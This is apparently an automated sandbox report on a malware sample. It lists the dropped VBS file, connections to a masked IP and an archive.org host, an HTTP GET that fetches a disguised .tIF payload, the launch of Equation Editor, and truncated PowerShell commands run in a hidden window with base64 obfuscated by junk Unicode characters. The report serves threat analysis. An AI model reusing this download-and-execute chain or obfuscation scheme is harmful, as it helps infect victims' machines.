Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\shegoodforeverythingtogetmef.vBS"
Downloads and executes files.
Modifies file system
Creates the following files
- %APPDATA%\shegoodforeverythingtogetmef.vbs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\i3nmat9z\config14[1].txt
Network activity
Connects to
- '19#.#6.178.137':80
- 'ia#####4.us.archive.org':443
TCP
HTTP GET requests
- http://19#.#6.178.137/136/shegoodforeverythingtogetmefrom.tIF
Other
- 'ia#####4.us.archive.org':443
UDP
- DNS ASK ia#####4.us.archive.org
Miscellaneous
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J╭ ㏀ ↹ ⌓ ❖Bp╭ ㏀ ↹ ⌓ ❖G0╭ ㏀ ↹ ⌓ ❖YQBn╭ ㏀ ↹ ⌓ ❖GU╭ ㏀ ↹ ⌓ ❖VQBy╭ ㏀ ↹ ⌓ ❖Gw╭ ㏀ ↹ ⌓ ❖I╭ ㏀ ↹ ⌓ ❖╭ ㏀ ↹ ⌓ ❖9╭ ㏀ ↹ ⌓ ❖C╭ ㏀ ↹ ⌓ ❖╭ ㏀ ↹ ⌓ ❖JwBo╭ ㏀ ↹ ⌓ ❖HQ╭ ㏀ ↹ ⌓ ❖d╭ ㏀ ↹ ⌓ ❖Bw╭ ㏀ ↹ ⌓ ❖...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J╭ ㏀ ↹ ⌓ ❖Bp╭ ㏀ ↹ ⌓ ❖G0╭ ㏀ ↹ ⌓ ❖YQBn╭ ㏀ ↹ ⌓ ❖GU╭ ㏀ ↹ ⌓ ❖VQBy╭ ㏀ ↹ ⌓ ❖Gw╭ ㏀ ↹ ⌓ ❖I╭ ㏀ ↹ ⌓ ❖╭ ㏀ ↹ ⌓ ❖9╭ ㏀ ↹ ⌓ ❖C╭ ㏀ ↹ ⌓ ❖╭ ㏀ ↹ ⌓ ❖JwBo╭ ㏀ ↹ ⌓ ❖HQ╭ ㏀ ↹ ⌓ ❖d╭ ㏀ ↹ ⌓ ❖Bw╭ ㏀ ↹ ⌓ ❖...' (with hidden window)
